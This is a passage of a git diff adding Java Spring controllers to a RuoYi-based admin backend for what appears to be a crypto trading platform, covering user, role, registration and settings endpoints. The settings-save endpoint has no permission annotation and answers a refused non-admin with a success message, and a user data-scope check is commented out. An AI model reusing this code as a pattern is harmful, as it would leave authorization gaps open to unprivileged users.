filename.substring(filename.lastIndexOf("."), filename.length()); + name = name.replace("-", ""); + String avatar = fileService.uploadFileOSS(file,name); + if (userService.updateUserAvatar(loginUser.getUsername(), avatar)) + { + AjaxResult ajax = AjaxResult.success(); + ajax.put("imgUrl", avatar); + // 更新缓存用户头像 + loginUser.getUser().setAvatar(avatar); + tokenService.setLoginUser(loginUser); + return ajax; + } + } + return error("上传图片异常,请联系管理员"); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysRegisterController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysRegisterController.java new file mode 100644 index 0000000..fe19249 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysRegisterController.java @@ -0,0 +1,38 @@ +package com.ruoyi.web.controller.system; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.model.RegisterBody; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.framework.web.service.SysRegisterService; +import com.ruoyi.system.service.ISysConfigService; + +/** + * 注册验证 + * + * @author ruoyi + */ +@RestController +public class SysRegisterController extends BaseController +{ + @Autowired + private SysRegisterService registerService; + + @Autowired + private ISysConfigService configService; + + @PostMapping("/register") + public AjaxResult register(@RequestBody RegisterBody user) + { + if (!("true".equals(configService.selectConfigByKey("sys.account.registerUser")))) + { + return error("当前系统没有开启注册功能!"); + } + String msg = registerService.register(user); + return StringUtils.isEmpty(msg) ? success() : error(msg); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysRoleController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysRoleController.java new file mode 100644 index 0000000..232c5fa --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysRoleController.java @@ -0,0 +1,262 @@ +package com.ruoyi.web.controller.system; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysDept; +import com.ruoyi.common.core.domain.entity.SysRole; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.framework.web.service.SysPermissionService; +import com.ruoyi.framework.web.service.TokenService; +import com.ruoyi.system.domain.SysUserRole; +import com.ruoyi.system.service.ISysDeptService; +import com.ruoyi.system.service.ISysRoleService; +import com.ruoyi.system.service.ISysUserService; + +/** + * 角色信息 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/system/role") +public class SysRoleController extends BaseController +{ + @Autowired + private ISysRoleService roleService; + + @Autowired + private TokenService tokenService; + + @Autowired + private SysPermissionService permissionService; + + @Autowired + private ISysUserService userService; + + @Autowired + private ISysDeptService deptService; + + @PreAuthorize("@ss.hasPermi('system:role:list')") + @GetMapping("/list") + public TableDataInfo list(SysRole role) + { + startPage(); + List list = roleService.selectRoleList(role); + return getDataTable(list); + } + + @Log(title = "角色管理", businessType = BusinessType.EXPORT) + @PreAuthorize("@ss.hasPermi('system:role:export')") + @PostMapping("/export") + public void export(HttpServletResponse response, SysRole role) + { + List list = roleService.selectRoleList(role); + ExcelUtil util = new ExcelUtil(SysRole.class); + util.exportExcel(response, list, "角色数据"); + } + + /** + * 根据角色编号获取详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:role:query')") + @GetMapping(value = "/{roleId}") + public AjaxResult getInfo(@PathVariable Long roleId) + { + roleService.checkRoleDataScope(roleId); + return success(roleService.selectRoleById(roleId)); + } + + /** + * 新增角色 + */ + @PreAuthorize("@ss.hasPermi('system:role:add')") + @Log(title = "角色管理", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@Validated @RequestBody SysRole role) + { + if (!roleService.checkRoleNameUnique(role)) + { + return error("新增角色'" + role.getRoleName() + "'失败,角色名称已存在"); + } + else if (!roleService.checkRoleKeyUnique(role)) + { + return error("新增角色'" + role.getRoleName() + "'失败,角色权限已存在"); + } + role.setCreateBy(getUsername()); + return toAjax(roleService.insertRole(role)); + + } + + /** + * 修改保存角色 + */ + @PreAuthorize("@ss.hasPermi('system:role:edit')") + @Log(title = "角色管理", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@Validated @RequestBody SysRole role) + { + roleService.checkRoleAllowed(role); + roleService.checkRoleDataScope(role.getRoleId()); + if (!roleService.checkRoleNameUnique(role)) + { + return error("修改角色'" + role.getRoleName() + "'失败,角色名称已存在"); + } + else if (!roleService.checkRoleKeyUnique(role)) + { + return error("修改角色'" + role.getRoleName() + "'失败,角色权限已存在"); + } + role.setUpdateBy(getUsername()); + + if (roleService.updateRole(role) > 0) + { + // 更新缓存用户权限 + LoginUser loginUser = getLoginUser(); + if (StringUtils.isNotNull(loginUser.getUser()) && !loginUser.getUser().isAdmin()) + { + loginUser.setPermissions(permissionService.getMenuPermission(loginUser.getUser())); + loginUser.setUser(userService.selectUserByUserName(loginUser.getUser().getUserName())); + tokenService.setLoginUser(loginUser); + } + return success(); + } + return error("修改角色'" + role.getRoleName() + "'失败,请联系管理员"); + } + + /** + * 修改保存数据权限 + */ + @PreAuthorize("@ss.hasPermi('system:role:edit')") + @Log(title = "角色管理", businessType = BusinessType.UPDATE) + @PutMapping("/dataScope") + public AjaxResult dataScope(@RequestBody SysRole role) + { + roleService.checkRoleAllowed(role); + roleService.checkRoleDataScope(role.getRoleId()); + return toAjax(roleService.authDataScope(role)); + } + + /** + * 状态修改 + */ + @PreAuthorize("@ss.hasPermi('system:role:edit')") + @Log(title = "角色管理", businessType = BusinessType.UPDATE) + @PutMapping("/changeStatus") + public AjaxResult changeStatus(@RequestBody SysRole role) + { + roleService.checkRoleAllowed(role); + roleService.checkRoleDataScope(role.getRoleId()); + role.setUpdateBy(getUsername()); + return toAjax(roleService.updateRoleStatus(role)); + } + + /** + * 删除角色 + */ + @PreAuthorize("@ss.hasPermi('system:role:remove')") + @Log(title = "角色管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{roleIds}") + public AjaxResult remove(@PathVariable Long[] roleIds) + { + return toAjax(roleService.deleteRoleByIds(roleIds)); + } + + /** + * 获取角色选择框列表 + */ + @PreAuthorize("@ss.hasPermi('system:role:query')") + @GetMapping("/optionselect") + public AjaxResult optionselect() + { + return success(roleService.selectRoleAll()); + } + + /** + * 查询已分配用户角色列表 + */ + @PreAuthorize("@ss.hasPermi('system:role:list')") + @GetMapping("/authUser/allocatedList") + public TableDataInfo allocatedList(SysUser user) + { + startPage(); + List list = userService.selectAllocatedList(user); + return getDataTable(list); + } + + /** + * 查询未分配用户角色列表 + */ + @PreAuthorize("@ss.hasPermi('system:role:list')") + @GetMapping("/authUser/unallocatedList") + public TableDataInfo unallocatedList(SysUser user) + { + startPage(); + List list = userService.selectUnallocatedList(user); + return getDataTable(list); + } + + /** + * 取消授权用户 + */ + @PreAuthorize("@ss.hasPermi('system:role:edit')") + @Log(title = "角色管理", businessType = BusinessType.GRANT) + @PutMapping("/authUser/cancel") + public AjaxResult cancelAuthUser(@RequestBody SysUserRole userRole) + { + return toAjax(roleService.deleteAuthUser(userRole)); + } + + /** + * 批量取消授权用户 + */ + @PreAuthorize("@ss.hasPermi('system:role:edit')") + @Log(title = "角色管理", businessType = BusinessType.GRANT) + @PutMapping("/authUser/cancelAll") + public AjaxResult cancelAuthUserAll(Long roleId, Long[] userIds) + { + return toAjax(roleService.deleteAuthUsers(roleId, userIds)); + } + + /** + * 批量选择用户授权 + */ + @PreAuthorize("@ss.hasPermi('system:role:edit')") + @Log(title = "角色管理", businessType = BusinessType.GRANT) + @PutMapping("/authUser/selectAll") + public AjaxResult selectAuthUserAll(Long roleId, Long[] userIds) + { + roleService.checkRoleDataScope(roleId); + return toAjax(roleService.insertAuthUsers(roleId, userIds)); + } + + /** + * 获取对应角色部门树列表 + */ + @PreAuthorize("@ss.hasPermi('system:role:query')") + @GetMapping(value = "/deptTree/{roleId}") + public AjaxResult deptTree(@PathVariable("roleId") Long roleId) + { + AjaxResult ajax = AjaxResult.success(); + ajax.put("checkedKeys", deptService.selectDeptListByRoleId(roleId)); + ajax.put("depts", deptService.selectDeptTreeList(new SysDept())); + return ajax; + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysSettingController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysSettingController.java new file mode 100644 index 0000000..d1fd19b --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysSettingController.java @@ -0,0 +1,265 @@ +package com.ruoyi.web.controller.system; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.setting.*; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import io.swagger.annotations.ApiOperation; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import java.util.*; +import java.util.stream.Collectors; + +@RestController +@RequestMapping("/setting") +public class SysSettingController extends BaseController { + + @Resource + private SettingService settingService; + + + + @PutMapping(value = "/put/{key}") + public AjaxResult saveConfig(@PathVariable String key, @RequestBody String configValue) { + SettingEnum settingEnum = SettingEnum.valueOf(key); + if(settingEnum.equals(SettingEnum.WITHDRAWAL_CHANNEL_SETTING) || settingEnum.equals(SettingEnum.ASSET_COIN)){ + LoginUser loginUser = SecurityUtils.getLoginUser(); + if(!loginUser.getUser().isAdmin()){ + return AjaxResult.success("您没有操作权限,请联系管理员!"); + } + } + + //获取系统配置 + Setting setting = settingService.getById(settingEnum.name()); + if (setting == null) { + setting = new Setting(); + setting.setId(settingEnum.name()); + } + + //特殊配置过滤 + configValue = filter(settingEnum, configValue); + setting.setSettingValue(configValue); + settingService.saveUpdate(setting); + return AjaxResult.success(); + } + + + + @ApiOperation(value = "查看配置") + @GetMapping(value = "/get/{key}") + + public AjaxResult settingGet(@PathVariable String key) { + return createSetting(key); + } + + + /** + * 对配置进行过滤 + * + * @param settingEnum + * @param configValue + */ + private String filter(SettingEnum settingEnum, String configValue) { + if (settingEnum.equals(SettingEnum.APP_SIDEBAR_SETTING)) { + Setting setting = settingService.get(SettingEnum.APP_SIDEBAR_SETTING.name()); + AppSidebarSetting appSidebar = JSONUtil.toBean(configValue, AppSidebarSetting.class); + List list; + if (Objects.nonNull(setting)){ + list = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AppSidebarSetting.class); + }else{ + list = new ArrayList<>(); + } + List copyList = new ArrayList<>(); + if (!CollectionUtils.isEmpty(list)){ + copyList.addAll(list); + Boolean flag = true; + for (AppSidebarSetting a:copyList) { + if (appSidebar.getKey().equals(a.getKey())){ + flag = false; + } + } + if (flag){ + list.add(appSidebar); + copyList.add(appSidebar); + } + //修改还是删除 + for (AppSidebarSetting a:copyList) { + if (StringUtils.isNotEmpty(appSidebar.getName()) && appSidebar.getKey().equals(a.getKey())){ + list.remove(a); + list.add(appSidebar); + break; + } + if (StringUtils.isEmpty(appSidebar.getName()) && appSidebar.getKey().equals(a.getKey())){ + list.remove(a); + break; + } + } + }else{ + list.add(appSidebar); + } + configValue = JSONUtil.toJsonStr(list); + } + + return configValue; + } + + /** + * 获取表单 + * 这里主要包含一个配置对象为空,导致转换异常问题的处理,解决配置项增加减少,带来的系统异常,无法直接配置 + * + * @param key + * @return + * @throws InstantiationException + * @throws IllegalAccessException + */ + private AjaxResult createSetting(String key) { + SettingEnum settingEnum = SettingEnum.valueOf(key); + Setting setting = settingService.get(key); + switch (settingEnum) { + case BASE_SETTING: + return setting == null ? + AjaxResult.success(new BaseSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), BaseSetting.class)); + case APP_SIDEBAR_SETTING: + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AppSidebarSetting.class) + .stream().sorted(Comparator.comparing(AppSidebarSetting::getSort)).collect(Collectors.toList())); + + case EMAIL_SETTING: + return setting == null ? + AjaxResult.success(new EmailSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), EmailSetting.class)); + + case OSS_SETTING: + return setting == null ? + AjaxResult.success(new OssSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), OssSetting.class)); + case SMS_SETTING: + return setting == null ? + AjaxResult.success(new SmsSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), SmsSetting.class)); + case ASSET_COIN: + return setting == null ? + AjaxResult.success(new AssetCoinSetting()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AssetCoinSetting.class)); + case MARKET_URL: + return setting == null ? + AjaxResult.success(new MarketUrlSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), MarketUrlSetting.class)); + case LOGIN_REGIS_SETTING: + return setting == null ? + AjaxResult.success(new LoginRegisSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), LoginRegisSetting.class)); + case LOAD_SETTING: + return setting == null ? + AjaxResult.success(new LoadSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), LoadSetting.class)); + case WITHDRAWAL_CHANNEL_SETTING: + return setting == null ? + AjaxResult.success(new TRechargeChannelSetting()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), TRechargeChannelSetting.class)); + case FINANCIAL_SETTLEMENT_SETTING: + return setting == null ? + AjaxResult.success(new FinancialSettlementSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), FinancialSettlementSetting.class)); + case PLATFORM_SETTING: + return setting == null ? + AjaxResult.success(new PlatformSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), PlatformSetting.class)); + case WHITE_IP_SETTING: + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), WhiteIpSetting.class)); + case SUPPORT_STAFF_SETTING: + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), SupportStaffSetting.class)); + case RECHARGE_REBATE_SETTING: + return setting == null ? + AjaxResult.success(new RechargeRebateSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), RechargeRebateSetting.class)); + case FINANCIAL_REBATE_SETTING: + return setting == null ? + AjaxResult.success(new FinancialRebateSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), FinancialRebateSetting.class)); + case MING_SETTLEMENT_SETTING: + return setting == null ? + AjaxResult.success(new MingSettlementSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), MingSettlementSetting.class)); + case WITHDRAWAL_RECHARGE_VOICE: + return setting == null ? + AjaxResult.success(new VoiceSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), VoiceSetting.class)); + case WHITE_PAPER_SETTING: + return setting == null ? + AjaxResult.success(new WhitePaperSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), WhitePaperSetting.class)); + case DEFI_INCOME_SETTING: + return setting == null ? + AjaxResult.success(new DefiIncomeSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), DefiIncomeSetting.class)); + case TAB_SETTING: + return setting == null ? + AjaxResult.success(new TabSetting()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), TabSetting.class)); + case PLAYING_SETTING: + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), PlayingSetting.class)); + case BOTTOM_MENU_SETTING: + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), BottomMenuSetting.class)); + case MIDDLE_MENU_SETTING: + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), MiddleMenuSetting.class)); + case LOGO_SETTING: + return setting == null ? + AjaxResult.success(new LogoSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), LogoSetting.class)); + case HOME_COIN_SETTING: + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), HomeCoinSetting.class)); + case DOWNLOAD_SETTING: + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), DownloadSetting.class)); + case TG_BOT_SETTING: + return setting == null ? + AjaxResult.success(new HomeCoinSetting()) : + AjaxResult.success( JSONUtil.toBean(setting.getSettingValue(), TgBotSetting.class)); + case AUTH_LIMIT: + return setting == null ? + AjaxResult.success(new AuthLimitSetting ()) : + AjaxResult.success( JSONUtil.toBean(setting.getSettingValue(), AuthLimitSetting.class)); + case THIRD_CHANNL: + return setting == null ? + AjaxResult.success(new ArrayList ()) : + AjaxResult.success( (JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), ThirdPaySetting.class))); + case VIP_LEVEL_SETTING: + return setting == null ? + AjaxResult.success(new VipLevelSetting ()) : + AjaxResult.success( JSONUtil.toBean(setting.getSettingValue(), VipLevelSetting.class)); + case VIP_DIRECTIONS_SETTING: + return setting == null ? + AjaxResult.success(new ArrayList ()) : + AjaxResult.success( (JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), VipDirectionsSetting.class))); + case ADD_MOSAIC_SETTING: + return setting == null ? + AjaxResult.success(new AddMosaicSetting ()) : + AjaxResult.success( JSONUtil.toBean(setting.getSettingValue(), AddMosaicSetting.class)); + default: + return AjaxResult.success(); + } + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysStatisticsController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysStatisticsController.java new file mode 100644 index 0000000..dc8f9d9 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysStatisticsController.java @@ -0,0 +1,45 @@ +package com.ruoyi.web.controller.system; + +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.system.service.ISysStatisticsService; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * 参数配置 信息操作处理 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/system/statistics") +public class SysStatisticsController extends BaseController { + + @Autowired + private ISysStatisticsService statisticsService; + + /** + * 获取首页数据统计列表 + */ + @GetMapping("/dataList") + public AjaxResult dataList() { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if (user != null) { + String userType = user.getUserType(); + String parentId = ""; + if (user.isAdmin() || ("0").equals(userType)) { + parentId = null; + } else { + parentId = user.getUserId().toString(); + } + return success(statisticsService.getDataList(parentId)); + } + return error(); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysUserController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysUserController.java new file mode 100644 index 0000000..f1dda0d --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysUserController.java @@ -0,0 +1,330 @@ +package com.ruoyi.web.controller.system; + +import java.io.OutputStream; +import java.util.List; +import java.util.stream.Collectors; +import javax.servlet.http.HttpServletResponse; + + +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.service.ITAppUserService; +import com.ruoyi.common.config.RuoYiConfig; +import com.ruoyi.common.utils.GoogleAuthenticator; +import com.ruoyi.common.utils.QrCodeUtil; +import org.apache.commons.lang3.ArrayUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.multipart.MultipartFile; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysDept; +import com.ruoyi.common.core.domain.entity.SysRole; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.system.service.ISysDeptService; +import com.ruoyi.system.service.ISysPostService; +import com.ruoyi.system.service.ISysRoleService; +import com.ruoyi.system.service.ISysUserService; + +/** + * 用户信息 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/system/user") +public class SysUserController extends BaseController +{ + @Autowired + private ISysUserService userService; + + @Autowired + private ISysRoleService roleService; + + @Autowired + private ISysDeptService deptService; + + @Autowired + private ISysPostService postService; + + @Autowired + private ITAppUserService tAppUserService; + /** + * 获取用户列表 + */ + @PreAuthorize("@ss.hasPermi('system:user:list')") + @GetMapping("/list") + public TableDataInfo list(SysUser user) + { + startPage(); + List list = userService.selectUserList(user); + return getDataTable(list); + } + + @Log(title = "用户管理", businessType = BusinessType.EXPORT) + @PreAuthorize("@ss.hasPermi('system:user:export')") + @PostMapping("/export") + public void export(HttpServletResponse response, SysUser user) + { + List list = userService.selectUserList(user); + ExcelUtil util = new ExcelUtil(SysUser.class); + util.exportExcel(response, list, "用户数据"); + } + + @Log(title = "用户管理", businessType = BusinessType.IMPORT) + @PreAuthorize("@ss.hasPermi('system:user:import')") + @PostMapping("/importData") + public AjaxResult importData(MultipartFile file, boolean updateSupport) throws Exception + { + ExcelUtil util = new ExcelUtil(SysUser.class); + List userList = util.importExcel(file.getInputStream()); + String operName = getUsername(); + String message = userService.importUser(userList, updateSupport, operName); + return success(message); + } + + @PostMapping("/importTemplate") + public void importTemplate(HttpServletResponse response) + { + ExcelUtil util = new ExcelUtil(SysUser.class); + util.importTemplateExcel(response, "用户数据"); + } + + /** + * 根据用户编号获取详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:user:query')") + @GetMapping(value = { "/getInfo/","/getInfo/{userId}" }) + public AjaxResult getInfo(@PathVariable(value = "userId", required = false) Long userId) + { +// userService.checkUserDataScope(userId); + AjaxResult ajax = AjaxResult.success(); + List roles = roleService.selectRoleAll(); + ajax.put("roles", SysUser.isAdmin(userId) ? roles : roles.stream().filter(r -> !r.isAdmin()).collect(Collectors.toList())); + ajax.put("posts", postService.selectPostAll()); + if (StringUtils.isNotNull(userId)) + { + SysUser sysUser = userService.selectUserById(userId); + ajax.put(AjaxResult.DATA_TAG, sysUser); + ajax.put("postIds", postService.selectPostListByUserId(userId)); + ajax.put("roleIds", sysUser.getRoles().stream().map(SysRole::getRoleId).collect(Collectors.toList())); + } + return ajax; + } + + /** + * 新增用户 + */ + @PreAuthorize("@ss.hasPermi('system:user:add')") + @Log(title = "用户管理", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@Validated @RequestBody SysUser user) + { + if (!userService.checkUserNameUnique(user)) + { + return error("新增用户'" + user.getUserName() + "'失败,登录账号已存在"); + } + else if (StringUtils.isNotEmpty(user.getPhonenumber()) && !userService.checkPhoneUnique(user)) + { + return error("新增用户'" + user.getUserName() + "'失败,手机号码已存在"); + } + else if (StringUtils.isNotEmpty(user.getEmail()) && !userService.checkEmailUnique(user)) + { + return error("新增用户'" + user.getUserName() + "'失败,邮箱账号已存在"); + } + user.setCreateBy(getUsername()); + user.setPassword(SecurityUtils.encryptPassword(user.getPassword())); + return toAjax(userService.insertUser(user)); + } + + /** + * 修改用户 + */ + @PreAuthorize("@ss.hasPermi('system:user:edit')") + @Log(title = "用户管理", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@Validated @RequestBody SysUser user) + { + userService.checkUserAllowed(user); + userService.checkUserDataScope(user.getUserId()); + if (!userService.checkUserNameUnique(user)) + { + return error("修改用户'" + user.getUserName() + "'失败,登录账号已存在"); + } + else if (StringUtils.isNotEmpty(user.getPhonenumber()) && !userService.checkPhoneUnique(user)) + { + return error("修改用户'" + user.getUserName() + "'失败,手机号码已存在"); + } + else if (StringUtils.isNotEmpty(user.getEmail()) && !userService.checkEmailUnique(user)) + { + return error("修改用户'" + user.getUserName() + "'失败,邮箱账号已存在"); + } + user.setUpdateBy(getUsername()); + return toAjax(userService.updateUser(user)); + } + + /** + * 删除用户 + */ + @PreAuthorize("@ss.hasPermi('system:user:remove')") + @Log(title = "用户管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{userIds}") + public AjaxResult remove(@PathVariable Long[] userIds) + { + if (ArrayUtils.contains(userIds, getUserId())) + { + return error("当前用户不能删除"); + } + return toAjax(userService.deleteUserByIds(userIds)); + } + + /** + * 重置密码 + */ + @PreAuthorize("@ss.hasPermi('system:user:resetPwd')") + @Log(title = "用户管理", businessType = BusinessType.UPDATE) + @PutMapping("/resetPwd") + public AjaxResult resetPwd(@RequestBody SysUser user) + { + userService.checkUserAllowed(user); + userService.checkUserDataScope(user.getUserId()); + user.setPassword(SecurityUtils.encryptPassword(user.getPassword())); + user.setUpdateBy(getUsername()); + return toAjax(userService.resetPwd(user)); + } + + /** + * 状态修改 + */ + @PreAuthorize("@ss.hasPermi('system:user:edit')") + @Log(title = "用户管理", businessType = BusinessType.UPDATE) + @PutMapping("/changeStatus") + public AjaxResult changeStatus(@RequestBody SysUser user) + { + userService.checkUserAllowed(user); + userService.checkUserDataScope(user.getUserId()); + user.setUpdateBy(getUsername()); + return toAjax(userService.updateUserStatus(user)); + } + + /** + * 根据用户编号获取授权角色 + */ + @PreAuthorize("@ss.hasPermi('system:user:query')") + @GetMapping("/authRole/{userId}") + public AjaxResult authRole(@PathVariable("userId") Long userId) + { + AjaxResult ajax = AjaxResult.success(); + SysUser user = userService.selectUserById(userId); + List roles = roleService.selectRolesByUserId(userId); + ajax.put("user", user); + ajax.put("roles", SysUser.isAdmin(userId) ? roles : roles.stream().filter(r -> !r.isAdmin()).collect(Collectors.toList())); + return ajax; + } + + /** + * 用户授权角色 + */ + @PreAuthorize("@ss.hasPermi('system:user:edit')") + @Log(title = "用户管理", businessType = BusinessType.GRANT) + @PutMapping("/authRole") + public AjaxResult insertAuthRole(Long userId, Long[] roleIds) + { + userService.checkUserDataScope(userId); + userService.insertUserAuth(userId, roleIds); + return success(); + } + + /** + * 获取部门树列表 + */ + @PreAuthorize("@ss.hasPermi('system:user:list')") + @GetMapping("/deptTree") + public AjaxResult deptTree(SysDept dept) + { + return success(deptService.selectDeptTreeList(dept)); + } + + @Log(title = "查询未绑定的代理用户", businessType = BusinessType.UPDATE) + @PreAuthorize("@ss.hasPermi('system:user:selectUnboundAdminUser')") + @GetMapping("/selectUnboundAdminUser") + public TableDataInfo selectUnboundAdminUser(SysUser user) + { + startPage(); + List list = userService.selectUnboundAdminUser(user); + return getDataTable(list); + } + @Log(title = "绑定代理用户", businessType = BusinessType.UPDATE) + @PreAuthorize("@ss.hasPermi('system:user:bindingAdminUser')") + @GetMapping("/bindingAdminUser") + public AjaxResult bindingAdminUser(Long userId, Long[] adminUserIds) + { + return toAjax(userService.bindingAdminUser(userId,adminUserIds)); + } + + @Log(title = "绑定普通玩家用户", businessType = BusinessType.UPDATE) + @PreAuthorize("@ss.hasPermi('system:user:bindingAppUser')") + @GetMapping("/bindingAppUser") + public AjaxResult bindingAppUser(Long userId, Long[] appUserIds) + { + return toAjax(userService.bindingAppUser(userId,appUserIds)); + } + + @Log(title = "更新google验证码", businessType = BusinessType.UPDATE) + @PreAuthorize("@ss.hasPermi('system:user:updateCode')") + @GetMapping("/updateCode") + public void genQrCode(Long userId, HttpServletResponse response) throws Exception{ + SysUser user = userService.selectUserById(userId); +// Long[] role = roleService.selectRoleIdByUid(userId); +// user.setRoleIds(role); + String key = GoogleAuthenticator.getRandomSecretKey(); + user.setGoogleKey(key); + userService.updateUserForGoogleKey(user); + 